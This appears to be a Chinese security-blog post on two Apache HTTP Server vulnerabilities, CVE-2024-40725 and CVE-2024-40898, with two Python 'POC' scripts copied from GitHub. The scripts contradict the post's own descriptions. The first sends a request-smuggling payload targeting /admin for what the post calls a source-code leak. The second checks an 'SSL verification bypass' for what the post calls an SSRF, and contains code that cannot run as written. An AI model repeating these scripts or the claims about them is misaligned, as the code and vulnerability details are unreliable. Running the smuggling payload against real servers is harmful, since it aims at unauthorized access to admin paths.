CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)

CVE-2024-40725|Apache HTTP Server 源代码泄露漏洞(POC)

alicy 信安百科 2024-08-03 22:04

0x00 前言

Apache HTTP Server(简称Apache),是Apache软件基金会的一个开放源代码的网页服务器,可以在大多数电脑操作系统中运行,由于其具有的跨平台性和安全性,被广泛使用,是最流行的Web服务器端软件之一。

Apache HTTP Server的特点是简单、速度快、性能稳定、安全可靠,可通过简单的API进行扩展,并且集成了Perl、Python等语言解释器。

0x01 漏洞描述

ap_set_content_type_ex 函数用于设置请求的 content-type。

受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x02 CVE编号

CVE-2024-40898:Apache HTTP Server on Windows SSRF漏洞

若在服务器或虚拟主机环境中使用 mod_rewrite 模块,存在服务器端请求伪造(SSRF)漏洞。该漏洞可能允许攻击者通过 SSRF 和恶意请求泄露 NTLM 哈希值到恶意服务器。

CVE-2024-40725:Apache HTTP Server 源代码泄露漏洞

ap_set_content_type_ex 函数用于设置请求的 content-type。

受影响版本中在处理请求时未能正确应用子请求的信任标志,在某些间接请求文件的情况下,AddType及类似配置会导致本地脚本文件的内容泄露,攻击者可能利用该漏洞获取 php 等脚本语言源代码。

0x03 影响版本

http_server@[2.4.60, 2.4.62)

apache2@影响所有版本

0x04 漏洞详情

漏洞检查工具:

https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898

CVE-2024-40725.py

import requests
import argparse

def detect_http_request_smuggling(target_url):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40725 (HTTP Request Smuggling) 漏洞

    :param target_url: 目標伺服器的 URL
    """
    # 構造 HTTP Request Smuggling 攻擊請求
    smuggled_request = (
        "POST / HTTP/1.1\r\n"
        "Host: {}\r\n"
        "Content-Length: 0\r\n"
        "Transfer-Encoding: chunked\r\n"
        "\r\n"
        "0\r\n\r\n"
        "GET /admin HTTP/1.1\r\n"
        "Host: {}\r\n"
        "User-Agent: smuggle-test\r\n"
        "\r\n"
    ).format(target_url, target_url)

    try:
        # 發送請求到目標伺服器
        response = requests.post(target_url, data=smuggled_request, headers={'Content-Type': 'text/plain'}, timeout=10)

        # 判斷回應是否表示存在漏洞
        if response.status_code == 200 and "admin" in response.text:
            print(f"目標 {target_url} 可能存在 CVE-2024-40725 漏洞")
        else:
            print(f"目標 {target_url} 不存在 CVE-2024-40725 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40725 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()
    detect_http_request_smuggling(args.url)

CVE-2024-40898 .py

import ssl
import socket
import argparse

def detect_ssl_verification_bypass(target_host, target_port):
    """
    檢測目標 Apache HTTP Server 是否存在 CVE-2024-40898 (SSL 驗證繞過) 漏洞

    :param target_host: 目標伺服器的主機名或 IP 地址
    :param target_port: 目標伺服器的端口號
    """
    context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
    context.verify_mode = ssl.CERT_OPTIONAL

    try:
        # 連接目標伺服器
        with socket.create_connection((target_host, target_port)) as sock:
            with context.wrap_socket(sock, server_hostname=target_host) as ssock:
                ssock.sendall(b"HEAD / HTTP/1.1\r\nHost: {}\r\n\r\n".format(target_host.encode()))
                response = ssock.recv(4096)

                # 判斷回應是否表示存在漏洞
                if b"200 OK" in response:
                    print(f"目標 {target_host}:{target_port} 可能存在 CVE-2024-40898 漏洞")
                else:
                    print(f"目標 {target_host}:{target_port} 不存在 CVE-2024-40898 漏洞")
    except Exception as e:
        print(f"檢測過程中出錯: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='檢測 CVE-2024-40898 漏洞')
    parser.add_argument('-u', '--url', required=True, help='目標伺服器的 URL')
    args = parser.parse_args()

    # 分割主機名和端口號
    target_host, target_port = args.url.split(":")
    detect_ssl_verification_bypass(target_host, int(target_port))

0x05 参考链接

https://httpd.apache.org/download.cgi

https://httpd.apache.org/security/vulnerabilities_24.html

推荐阅读:

CVE-2024-28995|SolarWinds Serv-U任意文件下载漏洞(POC)

CVE-2024-23692|Rejetto HFS 2.x 远程代码执行漏洞(POC)

CVE-2024-4577|PHP CGI Windows平台远程代码执行漏洞(POC)

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持

!!!

本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。